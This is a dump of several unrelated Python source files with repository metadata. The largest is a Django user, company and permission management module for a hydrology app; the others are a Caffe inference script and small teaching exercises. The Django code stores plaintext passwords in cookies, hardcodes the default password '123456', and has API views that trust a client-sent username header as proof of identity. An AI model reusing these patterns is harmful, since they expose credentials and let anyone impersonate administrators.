self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) for var_name, var_value in kwargs.items(): if ( var_name not in self.attribute_map and self._configuration is not None and self._configuration.discard_unknown_keys and self.additional_properties_type is None ): # discard variable. continue setattr(self, var_name, var_value) if var_name in self.read_only_vars: raise ApiAttributeError( f"`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate " f"class with read only attributes." )
a01bdca1898fdadec08676b45c4bfbf7d587cc88
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_397/ch6_2020_03_04_19_39_52_514053.py
d80fe50cbca06aa26b98b832df81cd9961a2fad3
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
61
py
def celsius_para_fahrenheit (C): F= C*9/5+32 return F
e2bcbcc8eabdb541cdd13185af9f8b4f40943c05
79bf34ad2894c92a8ad887404225295595313958
/ex44d.py
3641234825b4c46314357fee5adaa74cce562d33
[ "MIT" ]
permissive
sogada/python
98ac577a18d709a13ace2a56d27e675edeeb032b
4bdad72bc2143679be6d1f8722b83cc359753ca9
refs/heads/master
2020-04-21T00:12:44.872044
2015-10-29T20:18:02
2015-10-29T20:18:02
null
0
0
null
null
null
null
UTF-8
Python
false
false
751
py
class Parent(object): def override(self): print "PARENT override()" def implicit(self): print "PARENT implicit()" def altered(self): print "PARENT altered()" class Child(Parent): def override(self): print "CHILD override()" def altered(self): print "CHILD, BEFORE PARENT altered()" super(Child, self).altered() print "CHILD, AFTER PARENT altered()" dad = Parent() son = Child() #Child inherits implicit dad.implicit() son.implicit() #Child overrides the override() function from Parent dad.override() son.override() #Child overrides the altered() method from Parent, then uses super #to inherit and use the original function from Parent dad.altered() son.altered()
5bdd168eca6ca9a05b5765cb0375fb4bd7b45dc1
16f0171b1aecb8d104a208df4953884a9ab97b26
/googlenet_regression/get_regressions_batch.py
5412aac0db52a3a1cebf4611c8f5168f70565739
[]
no_license
gombru/LearnFromWebData
97538dd91822a0e2a7d12084cde0d9dbf64f3c70
163447027c856004836abe40d9f653ec03da0702
refs/heads/master
2020-03-24T23:12:43.819864
2018-08-01T12:25:10
2018-08-01T12:25:10
143,123,717
13
7
null
null
null
null
UTF-8
Python
false
false
2,341
py
import caffe import numpy as np from PIL import Image import os caffe.set_device(0) caffe.set_mode_gpu() test = np.loadtxt('../../../datasets/SocialMedia/word2vec_mean_gt/test_InstaCities1M.txt', dtype=str) # test = np.loadtxt('../../../datasets/WebVision/info/test_filelist.txt', dtype=str) #Model name model = 'WebVision_Inception_frozen_word2vec_tfidfweighted_divbymax_iter_460000' #Output file output_file_dir = '../../../datasets/SocialMedia/regression_output/' + model if not os.path.exists(output_file_dir): os.makedirs(output_file_dir) output_file_path = output_file_dir + '/test.txt' output_file = open(output_file_path, "w") # load net net = caffe.Net('../googlenet_regression/prototxt/deploy.prototxt', '../../../datasets/WebVision/models/saved/'+ model + '.caffemodel', caffe.TEST) size = 227 # Reshape net batch_size = 250 #300 net.blobs['data'].reshape(batch_size, 3, size, size) print 'Computing ...' count = 0 i = 0 while i < len(test): indices = [] if i % 100 == 0: print i # Fill batch for x in range(0, batch_size): if i > len(test) - 1: break # load image # filename = '../../../datasets/WebVision/test_images_256/' + test[i] filename = '../../../datasets/SocialMedia/img_resized_1M/cities_instagram/' + test[i].split(',')[0] + '.jpg' im = Image.open(filename) im_o = im im = im.resize((size, size), Image.ANTIALIAS) indices.append(test[i]) # Turn grayscale images to 3 channels if (im.size.__len__() == 2): im_gray = im im = Image.new("RGB", im_gray.size) im.paste(im_gray) #switch to BGR and substract mean in_ = np.array(im, dtype=np.float32) in_ = in_[:,:,::-1] in_ -= np.array((104, 117, 123)) in_ = in_.transpose((2,0,1)) net.blobs['data'].data[x,] = in_ i += 1 # run net and take scores net.forward() # Save results for each batch element for x in range(0,len(indices)): topic_probs = net.blobs['probs'].data[x] topic_probs_str = '' for t in topic_probs: topic_probs_str = topic_probs_str + ',' + str(t) output_file.write(indices[x].split(',')[0] + topic_probs_str + '\n') output_file.close() print "DONE" print output_file_path
d9bb751f34c8e257138dea53f4f9867ddfaf4d38
522ef4ac3fcf82c54cec31e494f3ad86fb2fa0cf
/apps/users/views.py
151cdac264a1a0aa4b565f6d81d01517b973dd07
[]
no_license
yanshigou/hydrology_mgmt
845b124ee7fc726db83024458d222ca6edd71acf
701149c7beebaca169ad7183434dc2004963e6cf
refs/heads/master
2022-04-09T00:28:15.470710
2019-12-30T02:56:55
2019-12-30T02:56:55
209,734,620
1
0
null
null
null
null
UTF-8
Python
false
false
44,325
py
# -*- coding: utf-8 -*- from django.views import View from django.contrib.auth import authenticate, login, logout from django.http import HttpResponseRedirect, JsonResponse from django.contrib.auth.hashers import make_password from django.shortcuts import render from rest_framework.views import APIView from .forms import RegisterForm, LoginForm, UploadImageForm, UserInfoForm, PasswordForm, CompanySerializer, \ UserProfileSerializer, MessageSerializer, SystemSettingsForm from .models import UserProfile, HistoryRecord, Message, CompanyModel, SystemSettings from myutils.mixin_utils import LoginRequiredMixin from myutils.utils import create_history_record, make_message, jpush_function_extra from django.core.urlresolvers import reverse from devices.models import DevicesInfo from station.models import StationInfo DEFAULT_PASSWORD = "123456" class RegisterView2(LoginRequiredMixin, View): def get(self, request): register_form = RegisterForm() username = request.user if str(username) == "AnonymousUser": # return HttpResponseRedirect(reverse("login")) return render(request, 'register2.html', {'msg': '请先登录确认权限后再注册其他账号'}) user = UserProfile.objects.get(username=username) # print(user.permission) if user.permission == 'superadmin': company_id = CompanyModel.objects.all() return render(request, 'register2.html', { 'register_form': register_form, 'permission': user.permission, "company_id": company_id }) elif user.permission == 'admin': company_id = user.company.id return render(request, 'register2.html', { 'register_form': register_form, 'permission': user.permission, "company_id": company_id }) else: company_id = user.company.id return render(request, 'register2.html', { 'permission': user.permission, 'msg': '您没有权限注册其他账号,请联系管理员', "company_id": company_id }) def post(self, request): username = request.user.username user = UserProfile.objects.get(username=username) # print(user.permission) if (user.permission != "superadmin") and (user.permission != "admin"): return JsonResponse({ 'status': "fail", 'msg': '您没有权限注册其他账号' }) password = request.POST.get('password', '') if password == "": password = '123456' # print(password) permission = request.POST.get('permission', 'user') company_id = request.POST.get('company', '') username = request.POST.get('username', '') if not username or UserProfile.objects.filter(username=username): return JsonResponse({ 'status': "fail", 'msg': '请检查用户名是否填写或重复' }) if permission == "superadmin": return JsonResponse({ 'status': "fail", 'msg': '您没有权限注册超级管理员' }) if permission == "admin" and user.permission != "superadmin": return JsonResponse({ 'status': "fail", 'msg': '您没有权限注册管理员' }) user_profile = UserProfile() user_profile.username = username user_profile.password = make_password(password) user_profile.permission = permission user_profile.company_id = company_id user_profile.save() # 记录操作 if permission == "superadmin": permission = "超级管理员" elif permission == "admin": permission = "管理员" elif permission == "user": permission = "用户" elif permission == "other": permission = "其他类型用户" make_message(username, "初始密码过于简单,请立即修改密码!", -1) create_history_record(user, "注册 %s 账号 %s" % (permission, username)) return JsonResponse({ 'status': "success", 'msg': '注册成功' }) class LoginView(View): def get(self, request): # print(request.COOKIES) if 'username' in request.COOKIES: # 获取记住的用户名 username = request.COOKIES['username'] else: username = '' if 'password' in request.COOKIES: # 获取记住的用户名 password = request.COOKIES['password'] else: password = '' return render(request, "login.html", {'username': username, "password": password}) def post(self, request): login_form = LoginForm(request.POST) if login_form.is_valid(): user_name = request.POST.get('username', '') pass_word = request.POST.get('password', '') remember = request.POST.get('remember', '') # print(remember) user = authenticate(username=user_name, password=pass_word) if user is not None: if user.is_active: response = HttpResponseRedirect(reverse("index")) login(request, user) create_history_record(user, "登录") if remember == "on": # 设置cookie username *过期时间为1周 response.set_cookie('username', user_name, max_age=7 * 24 * 3600) response.set_cookie('password', pass_word, max_age=7 * 24 * 3600) response.set_cookie('password', pass_word, max_age=7 * 24 * 3600) return response # return HttpResponse('登录成功') else: return render(request, 'login.html', {'msg': "用户未激活"}) else: return render(request, 'login.html', {'msg': '用户名或密码错误!'}) else: return render(request, 'login.html', {'login_form': login_form}) class AppLoginView(View): def post(self, request): try: user_name = request.POST.get('username', '') pass_word = request.POST.get('password', '') user = authenticate(username=user_name, password=pass_word) # print(user_name) # print(pass_word) if user is not None: if user.is_active: login(request, user) create_history_record(user, "app登录") return JsonResponse({ "error_no": 0 }) else: return JsonResponse({ "error_no": 3, "info": "not active" }) else: return JsonResponse({ "error_no": 2, "info": "username or password wrong" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) # 修改密码 class ChangePassword(View): def get(self, request): return render(request, 'change_password.html', {}) def post(self, request): password_form = PasswordForm(request.POST) # print(request.POST) if password_form.is_valid(): old_password = request.POST.get('old_password', '') password1 = request.POST.get('password1', '') password2 = request.POST.get('password2', '') user = authenticate(username=request.user.username, password=old_password) # print(user) if not user: return render(request, 'change_password.html', {'msg': '请先登录后,再修改密码'}) if user is not None: if password1 == password2: userinfo = UserProfile.objects.get(username=user) userinfo.password = make_password(password1) userinfo.save() create_history_record(user, "修改密码") return render(request, 'change_password.html', {'msg': '密码修改成功!'}) else: return render(request, 'change_password.html', {'msg': '两次密码不一致'}) else: return render(request, 'change_password.html', {'msg': '原密码错误'}) else: return render(request, 'change_password.html', {'password_form': password_form}) # class AppChangePassword(View): # # def post(self, request): # try: # username = request.POST.get('username', '') # old_password = request.POST.get('old_password', '') # password1 = request.POST.get('password1', '') # password2 = request.POST.get('password2', '') # # print(username) # # print(old_password) # user = authenticate(username=username, password=old_password) # print(user) # if not user: # return JsonResponse({ # "error_no": 1, # "info": "login first" # }) # if user is not None: # if password1 == password2: # userinfo = UserProfile.objects.get(username=user) # userinfo.password = make_password(password1) # userinfo.save() # create_history_record(user, "app修改密码") # return JsonResponse({ # "error_no": 0 # }) # else: # return JsonResponse({ # "error_no": 1, # "info": "password not same" # }) # else: # return JsonResponse({ # "error_no": 1, # "info": "password wrong" # }) # except Exception as e: # print(e) # return JsonResponse({ # "error_no": -1, # "info": str(e) # }) class ResetPasswordView(View): def post(self, request): permission = request.user.permission if permission not in ['superadmin', 'admin']: return JsonResponse({ "status": "fail", "msg": "您没有权限重置密码" }) user_id = request.POST.get('user_id') userinfo = UserProfile.objects.get(id=user_id) if userinfo.permission == 'admin' and permission == 'admin': return JsonResponse({ "status": "success", "msg": "您没有权限重置管理员的密码" }) userinfo.password = make_password("123456") userinfo.save() make_message(userinfo.username, "已重置密码,请立即修改密码!", -1) res = jpush_function_extra(userinfo.username, "2", "已重置密码,请立即修改密码!", "已重置密码,密码过于简单,建议立即修改密码!") print(res.json()) return JsonResponse({ "status": "success", "msg": "重置密码成功" }) class LogoutView(View): def get(self, request): create_history_record(request.user, "退出登录") logout(request) return HttpResponseRedirect(reverse("login")) # return HttpResponse('退出成功') class LogoutApiView(View): def get(self, request): # create_history_record(request.user, "退出登录") logout(request) # return HttpResponseRedirect(reverse("login")) # return HttpResponse('退出成功') return JsonResponse({ "error_no": 0 }) class Index(LoginRequiredMixin, View): def get(self, request): return render(request, 'blank.html', {}) class UserInfoView(LoginRequiredMixin, View): def get(self, request): return render(request, 'userinfo.html') # 修改用户信息 def post(self, request): userinfo_form = UserInfoForm(request.POST, instance=request.user) if userinfo_form.is_valid(): userinfo_form.save() create_history_record(request.user, "修改用户个人信息") return JsonResponse({"status": "success"}) else: return JsonResponse({ "status": "fail", "errors": userinfo_form.errors, }) class UploadImageView(LoginRequiredMixin, View): def get(self, request): return render(request, 'upload_image.html') def post(self, request): image_form = UploadImageForm(request.POST, request.FILES, instance=request.user) if image_form.is_valid(): image_form.save() create_history_record(request.user, "修改头像") return HttpResponseRedirect(reverse("user_info")) else: return HttpResponseRedirect(reverse("upload_image")) class AllUsersView(LoginRequiredMixin, View): def get(self, request): permission = request.user.permission if permission == 'superadmin': all_users = UserProfile.objects.all() else: compan_id = request.user.company.id print(compan_id) all_users = UserProfile.objects.filter(company_id=compan_id) create_history_record(request.user, '查询所有用户信息') return render(request, 'all_users.html', { "all_users": all_users }) class DelUserView(LoginRequiredMixin, View): # 删除用户! def post(self, request): permission = request.user.permission # print(permission) if permission != 'superadmin': return JsonResponse({"status": "fail", "quanxianbuzu": "对不起,您的权限不足!"}) user_id = request.POST.get("user_id") # print(user_id) user = UserProfile.objects.get(id=user_id) username = user.username user.delete() create_history_record(request.user, '删除账号 %s' % username) return JsonResponse({"status": "success"}) class ChangePermissionView(LoginRequiredMixin, View): def get(self, request, user_id): permission = request.user.permission if permission not in ['superadmin', 'admin']: return HttpResponseRedirect(reverse("user_info")) user = UserProfile.objects.get(id=user_id) return render(request, 'change_permission.html', { "user": user }) def post(self, request, user_id): permission = request.user.permission if permission not in ['superadmin', 'admin']: return HttpResponseRedirect(reverse("user_info")) user = UserProfile.objects.get(id=user_id) # print(request.POST.get('permission')) user.permission = request.POST.get('permission') user.save() username = user.username create_history_record(request.user, '修改账号 %s 权限为 %s' % (username, request.POST.get('permission'))) return JsonResponse({"status": "success"}) class HistoryRecordView(LoginRequiredMixin, View): def get(self, request): username = request.user.username permission = request.user.permission if permission == "superadmin": all_users = UserProfile.objects.all()[:1500] return render(request, 'all_history.html', { "all_users": all_users }) history_record = HistoryRecord.objects.filter(username_id=username, r_type=True).order_by('-time')[:1500] create_history_record(request.user, '查询历史操作记录') return render(request, 'history_record.html', { "history_record": history_record }) class AllHistoryRecordView(LoginRequiredMixin, View): def get(self, request, user_name): permission = request.user.permission if permission == "superadmin": history_record = HistoryRecord.objects.filter(username_id=user_name, r_type=True).order_by('-time')[:1500] create_history_record(request.user, '查询 %s 的历史操作记录' % user_name) return render(request, 'history_record.html', { "history_record": history_record }) return HttpResponseRedirect(reverse("user_info")) class MessageView(View): def get(self, request): all_message = Message.objects.filter(username_id=request.user.username) return render(request, 'message.html', { "all_message": all_message }) def post(self, request): msg_id = request.POST.get('msg_id', '') # print(msg_id) message = Message.objects.get(username_id=request.user.username, id=msg_id) message.has_read = True message.save() return JsonResponse({"status": "success"}) def page_not_found(request): # 404 response = render(request, '404.html', {}) response.status_code = 404 return response def page_error(request): # 500 response = render(request, '500.html', {}) response.status_code = 500 return response class CompanyAddView(LoginRequiredMixin, View): """ 新建公司 """ def get(self, request): permission = request.user.permission print(permission) if permission == 'superadmin': return render(request, 'company_form_add.html') else: return HttpResponseRedirect(reverse("index")) def post(self, request): try: permission = request.user.permission print(permission) if permission != "superadmin": return JsonResponse({"status": "fail", "errors": "无权限"}) serializer = CompanySerializer(data=request.POST) phone = request.POST["phone"] if UserProfile.objects.filter(username=phone).count() > 0: return JsonResponse({"status": "fail", "errors": "该电话号码的用户已经存在"}) if serializer.is_valid(): newcompany = serializer.save() UserProfile.objects.create_user(username=phone, password=DEFAULT_PASSWORD, company=newcompany, permission="admin") create_history_record(request.user, "新建公司%s,管理员%s" % (newcompany.company_name, phone)) return JsonResponse({"status": "success"}) return JsonResponse({"status": "fail", "errors": "新建公司失败"}) except Exception as e: print(e) return JsonResponse({ "status": "fail", "errors": "公司名称唯一" }) class CompanyView(LoginRequiredMixin, View): def get(self, request): permission = request.user.permission print(permission) if permission == 'superadmin': all_company = CompanyModel.objects.all().order_by('id') all_admin_user = UserProfile.objects.filter(permission='admin') return render(request, 'company_info.html', {"all_company": all_company, "all_admin_user": all_admin_user}) else: return HttpResponseRedirect(reverse("index")) class DelCompanView(LoginRequiredMixin, View): def post(self, request): permission = request.user.permission print(permission) if permission == 'superadmin': try: company_id = request.POST.get('company_id', "") dev_infos = DevicesInfo.objects.filter(company_id=company_id) company = CompanyModel.objects.filter(id=company_id) # print(infos) if dev_infos: return JsonResponse({"status": "fail", "msg": "该公司下有设备,禁止删除。"}) company_name = company[0].company_name company.delete() create_history_record(request.user, '删除公司 %s' % company_name) return JsonResponse({"status": "success"}) except Exception as e: print(e) return JsonResponse({"status": "fail", "msg": str(e)}) else: return HttpResponseRedirect(reverse("index")) # 1104重写app html api json class LoginApiView(APIView): """ 登录 """ def post(self, request): try: username = request.data.get('username') password = request.data.get('password') user = authenticate(username=username, password=password) if user is not None: # is_active是否启用 if user.is_active: login(request, user) create_history_record(user, "app登录") permission = user.permission company_id = user.company company_name = user.company if company_id: company_id = company_id.id else: company_id = "" if company_name: company_name = company_name.company_name else: company_name = "" return JsonResponse({ "permission": permission, "company_id": company_id, "error_no": 0, "company_name": company_name }) else: return JsonResponse({ "error_no": 3, "info": "not active" }) else: return JsonResponse({ "error_no": -3, "info": "username or password wrong" }) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) class ResetPasswordApiView(APIView): """ 共用重置密码 """ def post(self, request): try: username = request.META.get("HTTP_USERNAME") user_id = request.data.get('user_id') user = UserProfile.objects.get(username=username) permission = user.permission if permission not in ['superadmin', 'admin']: return JsonResponse({ "error_no": 2, "info": "您没有权限重置密码" }) if permission == 'superadmin': userinfo = UserProfile.objects.get(id=user_id) userinfo.password = make_password("123456") userinfo.save() create_history_record(username, '重置%s的密码' % userinfo.username) make_message(userinfo.username, "已重置密码,请立即修改密码!", -1) elif permission == 'admin': company_id = user.company_id userinfo = UserProfile.objects.get(id=user_id, company_id=company_id) if userinfo.permission == 'admin' or userinfo.permission == 'superadmin': return JsonResponse({ "error_no": -2, "info": "您没有权限重置密码" }) return JsonResponse({ "error_no": 0, "info": "重置密码成功" }) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) class ChangePasswordApiView(APIView): """ 共用修改密码api """ def post(self, request): try: username = request.data.get('username', '') old_password = request.data.get('old_password', '') password1 = request.data.get('password1', '') password2 = request.data.get('password2', '') user = authenticate(username=username, password=old_password) if user is not None: if password1 == password2: userinfo = UserProfile.objects.get(username=user) userinfo.password = make_password(password1) userinfo.save() create_history_record(user, "修改密码") return JsonResponse({ "error_no": 0, "info": "Success" }) else: return JsonResponse({ "error_no": 1, "info": "两次密码不一致" }) else: return JsonResponse({ "error_no": 1, "info": "用户名或密码错误" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) class UserInfoApiView(APIView): """ 共用用户信息 增删改查 超级管理员操作所有用户 管理员仅能操作当前公司下的用户 """ def get(self, request): try: username = request.META.get("HTTP_USERNAME") print(username) users = UserProfile.objects.get(username=username) permission = users.permission if permission == 'superadmin': all_users = UserProfile.objects.all().order_by('company_id') serializer = UserProfileSerializer(all_users, many=True) elif permission == 'admin': company_id = users.company_id all_users = UserProfile.objects.filter(company_id=company_id).order_by('id') serializer = UserProfileSerializer(all_users, many=True) else: return JsonResponse({"error_no": 2, "info": "你没有权限修改"}) data = { "data": serializer.data, "error_no": 0 } create_history_record(username, "查询用户列表") return JsonResponse(data) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def post(self, request): try: username = request.META.get("HTTP_USERNAME") newusername = request.data.get("newuser") phone = request.data.get("phone") password = request.data.get("password") if not password: password = '123456' company_name = request.data.get("company_name") perm = request.data.get("permission") user = UserProfile.objects.get(username=username) permission = user.permission if permission == 'superadmin': company_id = CompanyModel.objects.get(company_name=company_name).id UserProfile.objects.create_user(username=newusername, password=password, mobile=phone, company_id=company_id, permission=perm) elif permission == 'admin': company_id = user.company_id UserProfile.objects.create_user(username=newusername, password=password, mobile=phone, company_id=company_id, permission=perm) else: return JsonResponse({"error_no": -2, "info": "没有权限新增用户"}) create_history_record(username, "新增用户%s-%s" % (CompanyModel.objects.get(id=company_id).company_name, newusername)) return JsonResponse({"error_no": 0, "info": "Success"}) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except CompanyModel.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个公司" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def put(self, request): """ 仅修改权限 """ try: username = request.META.get("HTTP_USERNAME") perm = request.data.get("permission") modify_username = request.data.get("username") user = UserProfile.objects.get(username=username) permission = user.permission if perm == 'superadmin': return JsonResponse({"error_no": -2, "info": "你没有权限修改"}) if permission == 'superadmin': modify_user = UserProfile.objects.get(username=modify_username) modify_user.permission = perm modify_user.save() create_history_record(username, "修改用户%s权限为%s" % (modify_user.username, modify_user.get_permission_display())) return JsonResponse({"error_no": 0, "info": "Success"}) elif permission == 'admin': company_id = user.company.id modify_user = UserProfile.objects.get(username=modify_username, company_id=company_id) modify_user.permission = perm modify_user.save() create_history_record(username, "修改用户%s权限为%s" % (modify_user.username, modify_user.get_permission_display())) return JsonResponse({"error_no": 0, "info": "Success"}) else: return JsonResponse({"error_no": -2, "info": "你没有权限修改"}) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def delete(self, request): try: username = request.META.get("HTTP_USERNAME") delete_username = request.data.get("username") admin_user = UserProfile.objects.get(username=username) del_user = UserProfile.objects.get(username=delete_username) admin_permission = admin_user.permission del_user_permission = del_user.permission if admin_permission == "superadmin" and ( del_user_permission != 'admin' or del_user_permission != 'superadmin'): del_user.delete() create_history_record(username, "删除用户" + delete_username) return JsonResponse({"error_no": 0, "info": "Success"}) elif admin_permission == 'admin': company_id = admin_user.company.id del_user = UserProfile.objects.get(username=delete_username, company_id=company_id) if del_user and del_user.permission != 'admin': del_user.delete() create_history_record(username, "删除用户" + delete_username) return JsonResponse({"error_no": 0, "info": "Success"}) else: return JsonResponse({"error_no": -3, "info": "该公司下没有此用户,或权限不足"}) else: return JsonResponse({"error_no": -3, "info": "权限不足"}) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) class CompanyApiView(APIView): """ 共用公司管理等 仅超级管理员 """ def get(self, request): try: username = request.META.get("HTTP_USERNAME") user = UserProfile.objects.get(username=username) permission = user.permission data = list() if permission == 'superadmin': all_company = CompanyModel.objects.all().order_by('id') for company in all_company: admin_user = UserProfile.objects.filter(company=company) admin = [u.username for u in admin_user] data.append({ "id": company.id, "company_name": company.company_name, "contact": company.contact, "phone": company.phone, "status": company.company_status, "admin": admin }) create_history_record(username, "查询所有公司") return JsonResponse({ "data": data, "error_no": 0 }) else: return JsonResponse({"error_no": -2, "info": "你没有权限"}) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def post(self, request): try: username = request.META.get("HTTP_USERNAME") user = UserProfile.objects.get(username=username) permission = user.permission if permission != "superadmin": return JsonResponse({"error_no": -2, "info": "无权限"}) serializer = CompanySerializer(data=request.data) phone = request.data["phone"] if UserProfile.objects.filter(username=phone).count() > 0: return JsonResponse({"error_no": -3, "info": "该电话号码的用户已经存在"}) if serializer.is_valid(): newcompany = serializer.save() UserProfile.objects.create_user(username=phone, password=DEFAULT_PASSWORD, company=newcompany, permission="admin") create_history_record(username, "新建公司%s,管理员%s" % (newcompany.company_name, phone)) return JsonResponse({"error_no": 0, "info": "Success"}) return JsonResponse({"error_no": -2, "info": "新建公司失败"}) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def put(self, request): try: username = request.META.get("HTTP_USERNAME") user = UserProfile.objects.get(username=username) permission = user.permission if permission != "superadmin": return JsonResponse({"error_no": -2, "info": "无权限"}) company_id = request.data.get("company_id") company_name = request.data.get("company_name") company_status = request.data.get("company_status") contact = request.data.get("contact") phone = request.data.get("phone") company = CompanyModel.objects.get(id=company_id) company.company_name = company_name company.contact = contact company.phone = phone company.company_status = company_status company.save() create_history_record(username, "修改公司" + company.company_name) return JsonResponse({"error_no": 0, "info": "Success"}) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except CompanyModel.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个公司" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def delete(self, request): try: print('companyApi del') username = request.META.get("HTTP_USERNAME") user = UserProfile.objects.get(username=username) permission = user.permission if permission != "superadmin": return JsonResponse({"error_no": -2, "info": "无权限"}) company_id = request.data['company_id'] company = CompanyModel.objects.get(id=company_id) company.delete() user = UserProfile.objects.filter(company=company_id) user.delete() create_history_record(username, "删除公司%s,用户%s" % (company.company_name, [u.username for u in user])) return JsonResponse({"error_no": 0, "info": "Success"}) except CompanyModel.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个公司" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) class MessageApiView(APIView): def get(self, request): try: username = request.META.get("HTTP_USERNAME") all_message = Message.objects.filter(username__username=username) message_ser = MessageSerializer(all_message, many=True) return JsonResponse({ "error_no": 0, "info": "Success", "data": message_ser.data }) except UserProfile.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个用户" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) def post(self, request): try: username = request.META.get("HTTP_USERNAME") msg_id = request.data.get('msg_id') all_read = request.data.get('all_read') if all_read == "1" and not msg_id: Message.objects.filter(username__username=username).update(has_read=True) else: message = Message.objects.get(username__username=username, id=msg_id) message.has_read = True message.save() return JsonResponse({ "error_no": 0 }) except Message.DoesNotExist: return JsonResponse({ "error_no": -2, "info": "没有这个消息" }) except Exception as e: print(e) return JsonResponse({ "error_no": -1, "info": str(e) }) class SystemStationView(LoginRequiredMixin, View): def get(self, request): permission = request.user.permission print(permission) if permission == 'superadmin': all_station = StationInfo.objects.all() else: try: company = request.user.company.company_name # print(company) except Exception as e: print(e) return HttpResponseRedirect(reverse('index')) if company: all_station = StationInfo.objects.filter(company__company_name=company) else: all_station = "" create_history_record(request.user, '系统设置查询所有测站点') return render(request, 'sys_station.html', { "all_station": all_station, }) # TODO 目前为全局设置,以后会绑定到站点上 class SystemSettingsView(LoginRequiredMixin, View): def get(self, request, station_id): permission = request.user.permission print(permission) if permission == 'superadmin': try: sys_settings = SystemSettings.objects.get(station_id=station_id) except SystemSettings.DoesNotExist: sys_settings = SystemSettings.objects.create(station_id=station_id, water_min_level=0, water_max_level=0, flow_min_level=0, flow_max_level=0, deviate_value=0, volt_value=0, is_alarm=0) return render(request, 'sys_settings.html', {"sys_settings": sys_settings}) return render(request, 'sys_settings.html', {"sys_settings": sys_settings}) else: try: company = request.user.company.company_name except Exception as e: print(e) return HttpResponseRedirect(reverse('sys_station')) if company and StationInfo.objects.filter(id=station_id, company__company_name=company): try: sys_settings = SystemSettings.objects.get(station_id=station_id, station__company__company_name=company) except SystemSettings.DoesNotExist: sys_settings = SystemSettings.objects.create(station_id=station_id, water_min_level=0, water_max_level=0, flow_min_level=0, flow_max_level=0, deviate_value=0, volt_value=0, is_alarm=0) return render(request, 'sys_settings.html', {"sys_settings": sys_settings}) else: return HttpResponseRedirect(reverse('sys_station')) def post(self, request, station_id): sys_id = request.POST.get('sys_id') print(sys_id) if sys_id: sys_settings = SystemSettings.objects.get(id=sys_id) settings_form = SystemSettingsForm(request.POST, instance=sys_settings) if settings_form.is_valid(): settings_form.save() create_history_record(request.user, "修改系统设置") return JsonResponse({"status": "success", "msg": "修改设置成功"}) else: print(settings_form.errors) return JsonResponse({ "status": "fail", "msg": "修改设置成功", }) else: settings_form = SystemSettingsForm(request.POST) if settings_form.is_valid(): settings_form.save() create_history_record(request.user, "设置系统设置") return JsonResponse({"status": "success", "msg": "设置成功"}) else: print(settings_form.errors) return JsonResponse({ "status": "fail", "msg": "设置失败", })
db6f9e619cc3eb6af96cb90589f32f741554459c
c78ce4f66cc964c230ad60fbf2ced6b4811eab89
/0x10-python-network_0/6-peak.py
ab8163dbefd2215b422669954178d075b0be06a2
[]
no_license
jebichii/holbertonschool-higher_level_programming-1
89026557909851dd775ae355f036db89ebd9adb9
741953aa479af90e8eac6f1315415eff4a20224f
refs/heads/master
2023-03-15T14:58:27.062528
2020-06-11T07:21:23
2020-06-11T07:21:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
661
py
#!/usr/bin/python3 """ Provides a function to find a peak element in an unsorted list of integers """ def find_peak(integers): """ Finds a peak element in an unsorted list of integers """ if not integers: return None if len(integers) == 1: return integers[0] if len(integers) == 2: return integers[0] if integers[0] > integers[1] else integers[1] midpoint = len(integers) // 2 if integers[midpoint] < integers[midpoint - 1]: return find_peak(integers[:midpoint]) if integers[midpoint] < integers[midpoint + 1]: return find_peak(integers[midpoint + 1:]) return integers[midpoint]
d3644245fbb6e118e01fef312221feff42ab5904
892c35f72f46f145c3f3860c1c29f1f4503ef9a6
/solid/management/commands/solid_utils.py
bf76df8227f11afddcb1cdf4ef3e92ed3ccaa1ab
[]
no_license
pymmrd/tuangou
aaa2b857e352f75f2ba0aa024d2880a6adac21a8
8f6a35dde214e809cdd6cbfebd8d913bafd68fb2
refs/heads/master
2021-01-10T20:31:55.238764
2013-11-13T13:53:53
2013-11-13T13:53:53
7,911,285
0
1
null
null
null
null
UTF-8
Python
false
false
432
py
